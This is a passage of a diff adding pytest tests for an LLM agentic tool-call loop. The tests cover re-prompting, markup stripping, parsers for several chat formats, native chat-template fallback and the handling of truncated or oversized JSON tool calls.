+        assert not any("SHOULD NOT APPEAR" in t for t in texts)
+
+    def test_disabled_auto_heal_is_not_reprompted(self):
+        loop, exec_fn = _make_loop(
+            turns = [
+                ["I'll search the web for that."],
+                ["SHOULD NOT APPEAR"],
+            ],
+            auto_heal_tool_calls = False,
+            nudge_tool_calls = True,
+        )
+        events = _collect_events(loop)
+        assert exec_fn.calls == []
+        texts = [e["text"] for e in events if e["type"] == "content"]
+        assert any("I'll search the web for that." in t for t in texts)
+        assert not any("SHOULD NOT APPEAR" in t for t in texts)
+
+    def test_explicit_nudge_off_is_not_reprompted(self):
+        loop, exec_fn = _make_loop(
+            turns = [
+                ["I'll search the web for that."],
+                ["SHOULD NOT APPEAR"],
+            ],
+            nudge_tool_calls = False,
+        )
+        events = _collect_events(loop)
+        assert exec_fn.calls == []
+        texts = [e["text"] for e in events if e["type"] == "content"]
+        assert any("I'll search the web for that." in t for t in texts)
+        assert not any("SHOULD NOT APPEAR" in t for t in texts)
+
+    def test_omitted_nudge_flag_is_not_reprompted(self):
+        # The retry is new on this loop: API callers who do not send the flag
+        # must keep today's behavior. Unsloth opts in explicitly.
+        loop, exec_fn = _make_loop(
+            turns = [
+                ["I'll search the web for that."],
+                ["SHOULD NOT APPEAR"],
+            ],
+        )
+        events = _collect_events(loop)
+        assert exec_fn.calls == []
+        texts = [e["text"] for e in events if e["type"] == "content"]
+        assert any("I'll search the web for that." in t for t in texts)
+        assert not any("SHOULD NOT APPEAR" in t for t in texts)
+
+    def test_rag_autoinject_counts_as_executed_tool(self, monkeypatch):
+        # Autoinject already ran a KB search outside the controller; a short
+        # post-retrieval intent must not trigger a spurious re-prompt.
+        import core.inference.tools as tools_mod
+
+        def fake_autoinject(conversation, rag_scope):
+            return {
+                "events": [
+                    {"type": "tool_start", "tool_name": "search_knowledge_base"},
+                    {"type": "tool_end", "tool_name": "search_knowledge_base"},
+                ],
+                "messages": [{"role": "tool", "content": "kb result"}],
+            }
+
+        monkeypatch.setattr(tools_mod, "build_rag_autoinject", fake_autoinject)
+        loop, exec_fn = _make_loop(
+            turns = [
+                ["I'll search the docs."],
+                ["SHOULD NOT APPEAR"],
+            ],
+            nudge_tool_calls = True,
+        )
+        events = _collect_events(loop)
+        assert exec_fn.calls == []
+        assert any(e.get("type") == "tool_start" for e in events)
+        texts = [e["text"] for e in events if e["type"] == "content"]
+        assert any("I'll search the docs." in t for t in texts)
+        assert not any("SHOULD NOT APPEAR" in t for t in texts)
+
+    def test_no_reprompt_after_a_denied_tool_confirmation(self, monkeypatch):
+        # An explicit user denial must not be answered with a nudge to call
+        # the tool again (which would raise another confirmation prompt).
+        monkeypatch.setattr(safetensors_agentic, "new_approval_id", lambda: "appr-1")
+        monkeypatch.setattr(safetensors_agentic, "begin_tool_decision", lambda *_a, **_k: object())
+        monkeypatch.setattr(safetensors_agentic, "wait_tool_decision", lambda *_a, **_k: "deny")
+        loop, exec_fn = _make_loop(
+            turns = [
+                ['<tool_call>{"name":"web_search","arguments":{"query":"cats"}}</tool_call>'],
+                ["I'll search again."],
+                ["SHOULD NOT APPEAR"],
+            ],
+            confirm_tool_calls = True,
+            session_id = "sess",
+            nudge_tool_calls = True,
+        )
+        events = _collect_events(loop)
+        assert exec_fn.calls == []
+        texts = [e["text"] for e in events if e["type"] == "content"]
+        assert any("I'll search again." in t for t in texts)
+        assert not any("SHOULD NOT APPEAR" in t for t in texts)
+
+    def test_no_reprompt_after_a_tool_already_executed(self):
+        loop, exec_fn = _make_loop(
+            turns = [
+                ['<tool_call>{"name":"web_search","arguments":{"query":"cats"}}</tool_call>'],
+                ["Now I'll refine the search."],
+                ["SHOULD NOT APPEAR"],
+            ],
+            exec_results = ["result-1"],
+            nudge_tool_calls = True,
+        )
+        events = _collect_events(loop)
+        assert [c[0] for c in exec_fn.calls] == ["web_search"]
+        texts = [e["text"] for e in events if e["type"] == "content"]
+        assert not any("SHOULD NOT APPEAR" in t for t in texts)
+
+
+# Routes-level python_tag strip (multi-line; stop on next sentinel)
+class TestRoutesPythonTagStrip:
+    """``_TOOL_XML_RE`` must consume multi-line code, embedded JSON, and bare ``<`` (earlier ``[^\n<]*`` / ``[^\n]*`` revisions leaked tails); the streaming route-level strip is the regression-prone path."""
+
+    def _strip(self, text: str) -> str:
+        # Import inside the test so a routes-module import error does
+        # not blow up the entire test file at collection time.
+        from routes.inference import _strip_tool_xml
+        return _strip_tool_xml(text)
+
+    def test_single_line_python_tag_stripped(self):
+        # Floor: the original 5620 single-line behaviour still works.
+        text = '<|python_tag|>brave_search.call(query="weather")'
+        assert self._strip(text) == ""
+
+    def test_python_tag_with_less_than_in_code(self):
+        # 5615 regression: literal ``<`` inside code must NOT terminate
+        # the strip early.
+        text = '<|python_tag|>python.call(code="if x < 10: pass")'
+        assert self._strip(text) == ""
+
+    def test_python_tag_multiline_code_stripped(self):
+        # 5620 round-1 regression: multi-line code's second line leaked.
+        text = '<|python_tag|>python.call(code="line1\nline2\nline3")'
+        assert self._strip(text) == ""
+
+    def test_python_tag_multiline_with_less_than(self):
+        # Combined: multi-line code AND literal ``<`` in code.
+        text = (
+            '<|python_tag|>python.call(code="for i in range(10):\n'
+            "    if i < 5:\n"
+            '        print(i)")'
+        )
+        assert self._strip(text) == ""
+
+    def test_python_tag_stops_at_eom_sentinel(self):
+        # Strip stops at the next Llama-3 ``<|`` sentinel so any
+        # trailing assistant content survives.
+        text = '<|python_tag|>python.call(code="multi\nline")' "<|eom_id|>final answer text"
+        assert self._strip(text) == "<|eom_id|>final answer text"
+
+    def test_python_tag_stops_at_eot_sentinel(self):
+        text = '<|python_tag|>brave_search.call(query="x")' "<|eot_id|>after"
+        assert self._strip(text) == "<|eot_id|>after"
+
+    def test_python_tag_json_form_multiline_stripped(self):
+        # The JSON form of python_tag with newlines inside string args.
+        text = '<|python_tag|>{"name":"python","parameters":{"code":"a = 1\nb = 2\nprint(a+b)"}}'
+        assert self._strip(text) == ""
+
+    def test_python_tag_with_eom_then_trailing_python_tag(self):
+        # Two python_tag emissions back-to-back across a sentinel: both
+        # should strip independently.
+        text = (
+            '<|python_tag|>brave_search.call(query="a")'
+            "<|eom_id|>"
+            '<|python_tag|>python.call(code="x=1")'
+        )
+        # ``<|eom_id|>`` between the two strips remains; both
+        # python_tag blocks are fully consumed.
+        assert self._strip(text) == "<|eom_id|>"
+
+
+# Robustness fixes uncovered while validating against vLLM / sglang.
+class TestParserRobustness:
+    def test_tool_call_json_accepts_parameters_key(self):
+        # Hermes wrapper around a Llama-3.2 bare-JSON object that uses
+        # ``parameters`` instead of ``arguments``. The bare-JSON and
+        # python_tag paths already accept both keys; this path now does
+        # too. Was extracting name only and silently dropping the args.
+        import json
+
+        text = "<tool_call>\n" '{"name": "search", "parameters": {"q": "ramen"}}\n' "</tool_call>"
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "search"
+        assert json.loads(result[0]["function"]["arguments"]) == {"q": "ramen"}
+
+    def test_function_xml_attribute_form(self):
+        # MiniCPM-5 / MiniMax-M2 attribute syntax:
+        # ``<function name="..."><param name="...">v</param></function>``.
+        import json
+
+        text = '<function name="get_weather">' '<param name="city">Tokyo</param>' "</function>"
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "get_weather"
+        assert json.loads(result[0]["function"]["arguments"]) == {"city": "Tokyo"}
+
+    def test_function_xml_attribute_form_multi_param(self):
+        import json
+
+        text = (
+            '<function name="get_weather">'
+            '<param name="city">Tokyo</param>'
+            '<param name="unit">celsius</param>'
+            "</function>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        args = json.loads(result[0]["function"]["arguments"])
+        assert args == {"city": "Tokyo", "unit": "celsius"}
+
+    def test_function_xml_legacy_equals_form_still_works(self):
+        # Regression guard: the old ``<function=name><parameter=k>v``
+        # syntax must keep parsing after the regex broadening.
+        import json
+
+        text = "<function=get_weather><parameter=city>Tokyo</parameter></function>"
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "get_weather"
+        assert json.loads(result[0]["function"]["arguments"]) == {"city": "Tokyo"}
+
+    def test_function_attribute_form_has_tool_signal(self):
+        # The standalone ``<function name="...">`` attribute form must flip
+        # the streaming buffer; otherwise the end-of-turn safety-net parse in
+        # the agentic loop is gated off and the real call is dropped.
+        assert has_tool_signal('<function name="get_weather">') is True
+
+    def test_function_attribute_form_strip_markup(self):
+        # The attribute form must also be stripped from displayed text, like
+        # the legacy ``<function=...>`` form.
+        text = 'result <function name="g"><param name="c">X</param></function>'
+        assert strip_tool_markup(text, final = True) == "result"
+
+    def test_llama3_chat_template_round_trip(self):
+        # Meta's official Llama-3.x chat template prefixes every
+        # assistant turn with
+        # ``<|start_header_id|>assistant<|end_header_id|>\n\n``. The
+        # sentinel-strip in ``_parse_llama3_bare_json`` must reach past
+        # the role label to the JSON body, else every round-tripped
+        # tool call in history silently drops.
+        import json
+
+        text = (
+            "<|start_header_id|>assistant<|end_header_id|>\n\n"
+            '{"name": "get_weather", "parameters": {"city": "Tokyo"}}'
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "get_weather"
+        assert json.loads(result[0]["function"]["arguments"]) == {"city": "Tokyo"}
+
+    def test_llama3_round_trip_all_roles(self):
+        # Same logic must work for every role the chat template inserts.
+        import json
+        for role in ("assistant", "user", "system", "tool", "ipython"):
+            text = (
+                f"<|start_header_id|>{role}<|end_header_id|>\n\n"
+                '{"name": "f", "parameters": {"x": 1}}'
+            )
+            result = parse_tool_calls_from_text(text)
+            assert len(result) == 1, f"failed for role={role}"
+            assert json.loads(result[0]["function"]["arguments"]) == {"x": 1}
+
+    def test_llama3_round_trip_with_eot_prefix(self):
+        # Prior assistant turn closes with ``<|eot_id|>``, then the
+        # new header opens. Both sentinels + the role must be consumed.
+        import json
+
+        text = (
+            "<|eot_id|><|start_header_id|>assistant<|end_header_id|>\n\n"
+            '{"name": "f", "parameters": {}}'
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "f"
+
+    def test_function_xml_followed_by_prose(self):
+        # Models routinely follow a tool call with explanatory prose.
+        # Body must terminate at ``</function>`` even without a
+        # ``</tool_call>`` wrapper, else trailing prose leaks into the
+        # last parameter value.
+        import json
+
+        text = (
+            "<function=get_weather>"
+            "<parameter=city>Tokyo</parameter>"
+            "</function>\n\nHere is what I found."
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert json.loads(result[0]["function"]["arguments"]) == {"city": "Tokyo"}
+
+    def test_function_attribute_xml_followed_by_prose(self):
+        # Same expectation for the MiniCPM-5 attribute form.
+        import json
+
+        text = (
+            '<function name="get_weather">'
+            '<param name="city">Tokyo</param>'
+            "</function>\n\nLet me know if you need anything else."
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert json.loads(result[0]["function"]["arguments"]) == {"city": "Tokyo"}
+
+
+def test_render_with_native_template_returns_render_only_when_tools_emitted():
+    # The native-template fallback re-renders with the model's repo template when an override drops
+    # the tools schema.
+    from types import SimpleNamespace
+
+    from core.inference.chat_template_helpers import render_native_template
+
+    messages = [{"role": "user", "content": "hi"}]
+    tools = [{"type": "function", "function": {"name": "web_search"}}]
+    model_info = {
+        "native_chat_template": "TPL",
+        "tokenizer": SimpleNamespace(chat_template = "OVERRIDE"),
+    }
+
+    def emitting(tokenizer, msgs, *, tools, **_kw):
+        body = "".join(m["content"] for m in msgs)
+        return body + ("|TOOLS=" + ",".join(t["function"]["name"] for t in tools) if tools else "")
+
+    def ignoring(tokenizer, msgs, *, tools, **_kw):
+        return "".join(m["content"] for m in msgs)  # never reflects tools
+
+    out = render_native_template(
+        model_info = dict(model_info),
+        active_model_name = "x",
+        messages = messages,
+        tools = tools,
+        apply_fn = emitting,
+    )
+    assert out == "hi|TOOLS=web_search"
+    # The native template must be restored on the live tokenizer after probing.
+    assert model_info["tokenizer"].chat_template == "OVERRIDE"
+
+    assert (
+        render_native_template(
+            model_info = dict(model_info),
+            active_model_name = "x",
+            messages = messages,
+            tools = tools,
+            apply_fn = ignoring,
+        )
+        is None
+    )
+
+    # No tokenizer and no processor -> return None instead of an AttributeError.
+    no_tok = {"native_chat_template": "TPL"}
+    assert (
+        render_native_template(
+            model_info = no_tok,
+            active_model_name = "x",
+            messages = messages,
+            tools = tools,
+            apply_fn = emitting,
+        )
+        is None
+    )
+
+
+def test_render_with_native_template_does_not_mutate_shared_tokenizer():
+    # The shared tokenizer must never carry the temporary native template, even mid-render: this
+    # runs outside the generation lock, so a concurrent request could otherwise render with the ...
+    from types import SimpleNamespace
+
+    from core.inference.chat_template_helpers import render_native_template
+
+    shared = SimpleNamespace(chat_template = "OVERRIDE")
+    seen = []
+
+    def capture(tokenizer, msgs, *, tools, **_kw):
+        seen.append((tokenizer is shared, shared.chat_template))
+        body = "".join(m["content"] for m in msgs)
+        return body + ("|T" if tools else "")
+
+    model_info = {"native_chat_template": "TPL", "tokenizer": shared}
+    render_native_template(
+        model_info = model_info,
+        active_model_name = "x",
+        messages = [{"role": "user", "content": "hi"}],
+        tools = [{"type": "function", "function": {"name": "web_search"}}],
+        apply_fn = capture,
+    )
+    # Rendering happened on a copy, and the shared tokenizer stayed "OVERRIDE"
+    # throughout (never the temporary "TPL").
+    assert seen and all(not is_shared for is_shared, _ in seen)
+    assert all(tpl == "OVERRIDE" for _, tpl in seen)
+    assert shared.chat_template == "OVERRIDE"
+
+
+def test_native_template_loads_from_base_model_for_lora(monkeypatch):
+    # For a LoRA adapter the chat template lives on the base model; active_model_name
+    # is the adapter id and may ship no template. The loader must read base_model.
+    from types import SimpleNamespace
+
+    import transformers
+
+    from core.inference.chat_template_helpers import render_native_template
+
+    captured = {}
+
+    def fake_from_pretrained(name, *args, **kwargs):
+        captured["source"] = name
+        return SimpleNamespace(chat_template = "BASE_TPL")
+
+    monkeypatch.setattr(transformers.AutoTokenizer, "from_pretrained", fake_from_pretrained)
+
+    def emitting(tokenizer, msgs, *, tools, **_kw):
+        body = "".join(m["content"] for m in msgs)
+        return body + ("|T" if tools else "")
+
+    model_info = {
+        "base_model": "base/model-id",
+        "tokenizer": SimpleNamespace(chat_template = "OVERRIDE"),
+    }
+    out = render_native_template(
+        model_info = model_info,
+        active_model_name = "adapter/path",
+        messages = [{"role": "user", "content": "hi"}],
+        tools = [{"type": "function", "function": {"name": "web_search"}}],
+        apply_fn = emitting,
+    )
+    assert captured["source"] == "base/model-id"
+    assert out == "hi|T"
+
+
+def test_render_with_native_template_fallback_swaps_when_override_drops_tools():
+    # The shared gate (used by the transformers and MLX backends): when the live render is
+    # identical with and without tools, re-render with the native template and return it.
+    from types import SimpleNamespace
+
+    from core.inference.chat_template_helpers import render_with_native_template_fallback
+
+    messages = [{"role": "user", "content": "hi"}]
+    tools = [{"type": "function", "function": {"name": "web_search"}}]
+
+    # apply_fn that IGNORES tools -> live render drops the schema.
+    def ignoring(tokenizer, msgs, *, tools, **_kw):
+        return "".join(m["content"] for m in msgs)
+
+    model_info = {
+        "native_chat_template": "TPL",
+        "tokenizer": SimpleNamespace(chat_template = "OVERRIDE"),
+    }
+
+    # Native render emits the tools, so the fallback swaps to it.
+    def native_emits(tokenizer, msgs, *, tools, **_kw):
+        body = "".join(m["content"] for m in msgs)
+        return body + ("|TOOLS" if tools else "")
+
+    out = render_with_native_template_fallback(
+        formatted_prompt = ignoring(None, messages, tools = tools),
+        tokenizer = SimpleNamespace(),
+        model_info = dict(model_info),
+        active_model_name = "x",
+        messages = messages,
+        tools = tools,
+        apply_fn = lambda tok, msgs, *, tools, **kw: (
+            native_emits(tok, msgs, tools = tools)
+            if getattr(tok, "chat_template", None) == "TPL"
+            else ignoring(tok, msgs, tools = tools)
+        ),
+    )
+    assert out == "hi|TOOLS", out
+
+
+def test_render_with_native_template_fallback_keeps_prompt_when_tools_emitted():
+    # Live render already differs with vs without tools -> no fallback, returned
+    # unchanged. Also a no-tools call is a passthrough.
+    from types import SimpleNamespace
+
+    from core.inference.chat_template_helpers import render_with_native_template_fallback
+
+    messages = [{"role": "user", "content": "hi"}]
+    tools = [{"type": "function", "function": {"name": "web_search"}}]
+
+    def emitting(tokenizer, msgs, *, tools, **_kw):
+        body = "".join(m["content"] for m in msgs)
+        return body + ("|T" if tools else "")
+
+    kept = render_with_native_template_fallback(
+        formatted_prompt = emitting(None, messages, tools = tools),
+        tokenizer = SimpleNamespace(),
+        model_info = {"native_chat_template": "TPL", "tokenizer": SimpleNamespace()},
+        active_model_name = "x",
+        messages = messages,
+        tools = tools,
+        apply_fn = emitting,
+    )
+    assert kept == "hi|T", kept
+
+    # No tools -> passthrough (native template never consulted).
+    passthrough = render_with_native_template_fallback(
+        formatted_prompt = "hi",
+        tokenizer = SimpleNamespace(),
+        model_info = {},
+        active_model_name = "x",
+        messages = messages,
+        tools = None,
+        apply_fn = emitting,
+    )
+    assert passthrough == "hi"
+
+
+def test_render_with_native_template_fallback_keeps_prompt_when_no_tools_probe_raises():
+    # A template that REQUIRES tools can raise on the no-tools probe.
+    from types import SimpleNamespace
+
+    from core.inference.chat_template_helpers import render_with_native_template_fallback
+
+    messages = [{"role": "user", "content": "hi"}]
+    tools = [{"type": "function", "function": {"name": "web_search"}}]
+
+    def raises_without_tools(tokenizer, msgs, *, tools, **_kw):
+        if not tools:
+            raise RuntimeError("template requires tools")
+        return "".join(m["content"] for m in msgs) + "|T"
+
+    out = render_with_native_template_fallback(
+        formatted_prompt = "hi|T",
+        tokenizer = SimpleNamespace(),
+        model_info = {"native_chat_template": "TPL", "tokenizer": SimpleNamespace()},
+        active_model_name = "x",
+        messages = messages,
+        tools = tools,
+        apply_fn = raises_without_tools,
+    )
+    assert out == "hi|T", out
+
+
+def test_truncated_bare_json_at_eof_is_not_leaked():
+    # Stream ends mid bare-JSON object: the held fragment must be dropped at the
+    # EOF resolver, not flushed as plain assistant content (GGUF parity).
+    loop, _exec = _make_loop(
+        turns = [['{"name":"web_search","parameters":{"query":"weather in S']],
+        max_tool_iterations = 1,
+    )
+    events = _collect_events(loop)
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    assert not any('"name"' in t for t in contents), contents
+
+
+def test_oversized_bare_json_call_is_not_leaked_and_executes():
+    # A bare-JSON call whose arguments exceed _MAX_BARE_JSON_BUFFER must DRAIN
+    # (suppress) rather than stream the raw JSON prefix, and still execute once
+    # the full object is parsed by the safety net.
+    from core.inference.safetensors_agentic import _MAX_BARE_JSON_BUFFER
+
+    big = "A" * (_MAX_BARE_JSON_BUFFER + 5000)
+    full = '{"name":"python","parameters":{"code":"' + big + '"}}'
+    chunks = [full[i : i + 2000] for i in range(0, len(full), 2000)]
+    loop, exec_fn = _make_loop(turns = [chunks, ["done"]], exec_results = ["OK"], max_tool_iterations = 2)
+    events = _collect_events(loop)
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    assert not any(t.lstrip().startswith('{"name') for t in contents), contents[:1]
+    assert exec_fn.calls and exec_fn.calls[0][0] == "python"
+    assert len(exec_fn.calls[0][1].get("code", "")) > _MAX_BARE_JSON_BUFFER
+
+
+def test_oversized_plain_json_answer_still_streams():
+    # A giant plain JSON answer (no "name" key) is NOT a tool call and must still
+    # stream -- the oversized DRAIN route is gated on a "name" key.
+    from core.inference.safetensors_agentic import _MAX_BARE_JSON_BUFFER
+
+    big = "A" * (_MAX_BARE_JSON_BUFFER + 5000)
+    full = '{"result":"' + big + '"}'
+    chunks = [full[i : i + 2000] for i in range(0, len(full), 2000)]
+    loop, _exec = _make_loop(turns = [chunks], max_tool_iterations = 1)
+    events = _collect_events(loop)
+    contents = "".join(e["text"] for e in events if e["type"] == "content")
+    assert '"result"' in contents
+
+
+def test_oversized_disabled_name_json_answer_still_streams():
+    # A giant still-open JSON answer whose "name" is NOT an enabled tool must stream:
+    # the oversized DRAIN branch was gated only on the presence of a "name" key, so a
+    # large ordinary record ({"name":"Alice",...}) was drained instead of shown.
+    from core.inference.safetensors_agentic import _MAX_BARE_JSON_BUFFER
+
+    big = "A" * (_MAX_BARE_JSON_BUFFER + 5000)
+    answer = '{"name":"Alice","parameters":{"bio":"' + big  # never closes
+    chunks = [answer[i : i + 2000] for i in range(0, len(answer), 2000)]
+    loop, exec_fn = _make_loop(turns = [chunks], max_tool_iterations = 1)
+    events = _collect_events(loop)
+    assert exec_fn.calls == [], exec_fn.calls
+    contents = "".join(e["text"] for e in events if e["type"] == "content")
+    assert "Alice" in contents, contents[:80]
+
+
+def test_truncated_disabled_name_json_is_shown_at_eof():
+    # A truncated ordinary JSON answer whose name is not an enabled tool, held to EOF,
+    # must be shown -- the EOF bare-JSON DRAIN branch was gated only on a "name" key.
+    truncated = '{"name":"Alice","parameters":{"age":'
+    loop, exec_fn = _make_loop(turns = [[truncated]], max_tool_iterations = 1)
+    events = _collect_events(loop)
+    assert exec_fn.calls == [], exec_fn.calls
+    contents = "".join(e["text"] for e in events if e["type"] == "content")
+    assert "Alice" in contents, contents
+
+
+def test_truncated_plain_json_with_nested_enabled_name_is_visible():
+    # A truncated ordinary JSON answer with a NESTED ``"name"`` matching an enabled
+    # tool ({"result":{"name":"web_search",...) must be shown, not suppressed: the
+    # gate now extracts the TOP-LEVEL name only, so the nested field is just data.
+    loop, exec_fn = _make_loop(
+        turns = [['{"result":{"name":"web_search","age":']],
+        max_tool_iterations = 1,
+    )
+    events = _collect_events(loop)
+    assert exec_fn.calls == []
+    contents = "".join(e["text"] for e in events if e["type"] == "content")
+    assert '"result"' in contents and "web_search" in contents, contents
+
+
+def test_bare_json_call_not_replayed_in_next_turn_content():
+    # After a complete bare-JSON call executes, the assistant content fed to the
+    # next turn must not contain the raw call (next-turn contamination).
+    captured: list[list[dict]] = []
+    exec_fn = FakeExecuteTool(["RESULT"])
+
+    def st(messages, active_tools = None):
+        captured.append([dict(m) for m in messages])
+        if len(captured) == 1:
+            yield '{"name":"web_search","parameters":{"query":"cats"}}'
+        else:
+            yield "Found."
+
+    _collect_events(
+        run_safetensors_tool_loop(
+            single_turn = st,
+            messages = [{"role": "user", "content": "cats"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            execute_tool = exec_fn,
+            max_tool_iterations = 3,
+        )
+    )
+    assert len(captured) >= 2, captured
+    asst = [m for m in captured[1] if m.get("role") == "assistant"]
+    assert asst and not any('"name"' in (m.get("content") or "") for m in asst), asst
+
+
 if __name__ == "__main__":
     pytest.main([__file__, "-v"])
+
+
+def test_streaming_strip_keeps_bare_args_before_think_block():
+    # F3: a bare ``foo[ARGS]`` before a think block is prose; EOS-anchored tail arms run only
+    # on the last segment.
+    text = "Please pass foo[ARGS] <think>pause</think> to the template."
+    out = strip_tool_markup_streaming(text, tool_protocol_active = True)
+    assert out == text
+
+
+def test_streaming_strip_still_removes_complete_call_before_think_block():
+    # A complete bracket call before a think block still strips in the non-last segment.
+    text = 'go web_search[ARGS]{"q":"x"} <think>z</think> done'
+    out = strip_tool_markup_streaming(text, tool_protocol_active = True)
+    assert "web_search[ARGS]" not in out
+    assert "<think>z</think>" in out
+    assert "go" in out and "done" in out
+
+
+def test_prose_args_marker_before_real_call_does_not_drain_the_prose():
+    # F5: an inactive ``foo[ARGS]`` in prose is not a call boundary; the prose streams in
+    # full and the later real call still executes.
+    loop, exec_fn = _make_loop(
+        turns = [
+            ["Intro ", "foo[ARGS] syntax. ", 'web_search[ARGS]{"query":"cats"}'],
+            ["Cats are great."],
+        ],
+        exec_results = ["RESULT"],
+        max_tool_iterations = 3,
+    )
+    events = _collect_events(loop)
+    assert exec_fn.calls == [("web_search", {"query": "cats"})], exec_fn.calls
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    # The prose between the bogus marker and the real call must survive.
+    assert any("foo[ARGS] syntax." in t for t in contents), contents
+    # The real call markup is never shown as content.
+    assert not any("web_search[ARGS]" in t for t in contents), contents
+
+
+def test_inactive_name_args_with_body_is_not_parsed_into_disabled_noop():
+    # BUG A: a prose answer with an inactive ``foo[ARGS]{...}`` is not drained into a
+    # disabled no-op extra turn; the [ARGS] checks are name-gated.
+    turns = [['foo[ARGS]{"x":1} is just syntax.']]
+    turn_calls: list[int] = []
+
+    def _gen(_messages):
+        turn_calls.append(1)
+        chunks = turns[len(turn_calls) - 1] if len(turn_calls) <= len(turns) else []
+        acc = ""
+        for chunk in chunks:
+            acc += chunk
+            yield acc
+
+    exec_fn = FakeExecuteTool([])
+    loop = run_safetensors_tool_loop(
+        single_turn = _gen,
+        messages = [{"role": "user", "content": "explain"}],
+        tools = [{"type": "function", "function": {"name": "web_search"}}],
+        execute_tool = exec_fn,
+        max_tool_iterations = 3,
+    )
+    events = _collect_events(loop)
+    assert exec_fn.calls == [], exec_fn.calls
+    assert not any(e["type"] in ("tool_start", "tool_end") for e in events), events
+    # Exactly one generation turn -- no disabled ``foo`` no-op re-prompt.
+    assert len(turn_calls) == 1, turn_calls
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    assert any("is just syntax." in t for t in contents), contents
+
+
+class TestEnabledToolNameGate:
+    """The safetensors loop passes the active tool names into parse/strip so the
+    ambiguous bare-rehearsal ``NAME[ARGS]{json}`` is treated as a call only when NAME
+    is an active tool (#5704). Without the gate an inactive ``foo[ARGS]{...}`` in prose
+    was parsed into a disabled no-op call and stripped from the visible text."""
+
+    def _names(self, calls):
+        return [c["function"]["name"] for c in calls]
+
+    def test_parse_inactive_rehearsal_does_not_swallow_active_call(self):
+        text = 'foo[ARGS]{"a":1} web_search[ARGS]{"query":"cats"}'
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        assert self._names(calls) == ["web_search"]
+        assert json.loads(calls[0]["function"]["arguments"]) == {"query": "cats"}
+
+    def test_parse_inactive_rehearsal_alone_is_prose(self):
+        assert (
+            parse_tool_calls_from_text('foo[ARGS]{"a":1}', enabled_tool_names = {"web_search"}) == []
+        )
+
+    def test_streaming_strip_keeps_inactive_rehearsal(self):
+        raw = 'answer foo[ARGS]{"x":1} tail'
+        assert strip_tool_markup_streaming(raw, enabled_tool_names = {"web_search"}) == raw
+
+    def test_streaming_strip_removes_active_rehearsal(self):
+        raw = 'answer web_search[ARGS]{"q":1} tail'
+        out = strip_tool_markup_streaming(raw, enabled_tool_names = {"web_search"})
+        assert "web_search[ARGS]" not in out
+        assert out == "answer  tail"
+
+    def test_final_strip_keeps_inactive_rehearsal(self):
+        text = 'foo[ARGS]{"x":1} is just syntax.'
+        assert strip_tool_markup(text, final = True, enabled_tool_names = {"web_search"}) == text
+
+    def test_gate_none_preserves_legacy_strip_and_parse(self):
+        text = 'foo[ARGS]{"x":1} tail'
+        assert self._names(parse_tool_calls_from_text(text)) == ["foo"]
+        assert strip_tool_markup_streaming(text) == " tail"
+
+
+def test_drain_truncated_enabled_name_json_preserved_when_auto_heal_disabled():
+    # F3: with Auto-Heal OFF, a truncated ENABLED-name bare-JSON fragment that did
+    # not parse must stay visible (disabled-Auto-Heal contract: malformed markup is
+    # preserved), matching the XML strip in the same drain branch. With Auto-Heal ON
+    # the same fragment is suppressed.
+    trunc = '{"name":"web_search","parameters":{"query":"weather'
+    off, exec_off = _make_loop(turns = [[trunc]], max_tool_iterations = 1, auto_heal_tool_calls = False)
+    events_off = _collect_events(off)
+    assert exec_off.calls == [], exec_off.calls
+    contents_off = "".join(e["text"] for e in events_off if e["type"] == "content")
+    assert "web_search" in contents_off, contents_off
+
+    on, exec_on = _make_loop(turns = [[trunc]], max_tool_iterations = 1, auto_heal_tool_calls = True)
+    events_on = _collect_events(on)
+    assert exec_on.calls == [], exec_on.calls
+    contents_on = "".join(e["text"] for e in events_on if e["type"] == "content")
+    assert "web_search" not in contents_on, contents_on
+
+
+def test_looks_like_enabled_bare_json_accepts_function_alias():
+    # The safetensors buffering gate must recognise the "function" bare-JSON alias
+    # the parser accepts, so a truncated/complete {"function":<enabled tool>} call is
+    # buffered/healed instead of streaming as visible content.
+    from core.inference.safetensors_agentic import _looks_like_enabled_bare_json
+
+    enabled = {"web_search"}
+    assert _looks_like_enabled_bare_json(
+        '{"function":"web_search","parameters":{"q":"x"}}', enabled
+    )
+    # A non-tool "function" value is an ordinary JSON answer -> not gated.
+    assert not _looks_like_enabled_bare_json('{"function":"Alice","parameters":{}}', enabled)
+
+
+class TestFalseAlarmMarkerProse:
+    def test_leading_marker_prose_streams_intact(self):
+        # An answer that starts with a literal marker is a false alarm: the
+        # drain finds no calls and the full prose must reach the client.
+        text = "[TOOL_CALLS] is the Mistral tool marker. More prose after."
+        loop, exec_fn = _make_loop(turns = [[text]])
+        events = _collect_events(loop)
+        assert exec_fn.calls == []
+        texts = [e["text"] for e in events if e["type"] == "content"]
+        assert texts and texts[-1] == text
+
+    def test_chained_bare_json_calls_not_replayed_in_history(self):
+        # Both chained calls execute; the kept content (next-turn assistant
+        # history) must not contain the second call's raw JSON.
+        chained = (
+            '{"name":"web_search","parameters":{"q":"first"}};'
+            '{"name":"python","parameters":{"code":"x"}}'
+        )
+        convs = []
+        turn_iter = iter([[chained], ["Final answer."]])
+
+        def gen(messages, active_tools = None):
+            convs.append([dict(m) for m in messages])
+            try:
+                chunks = next(turn_iter)
+            except StopIteration:
+                return
+            acc = ""
+            for c in chunks:
+                acc += c
+                yield acc
+
+        exec_fn = FakeExecuteTool(["r1", "r2"])
+        loop = run_safetensors_tool_loop(
+            single_turn = gen,
+            messages = [{"role": "user", "content": "hi"}],
+            tools = [
+                {"type": "function", "function": {"name": "web_search"}},
+                {"type": "function", "function": {"name": "python"}},
+            ],
+            execute_tool = exec_fn,
+        )
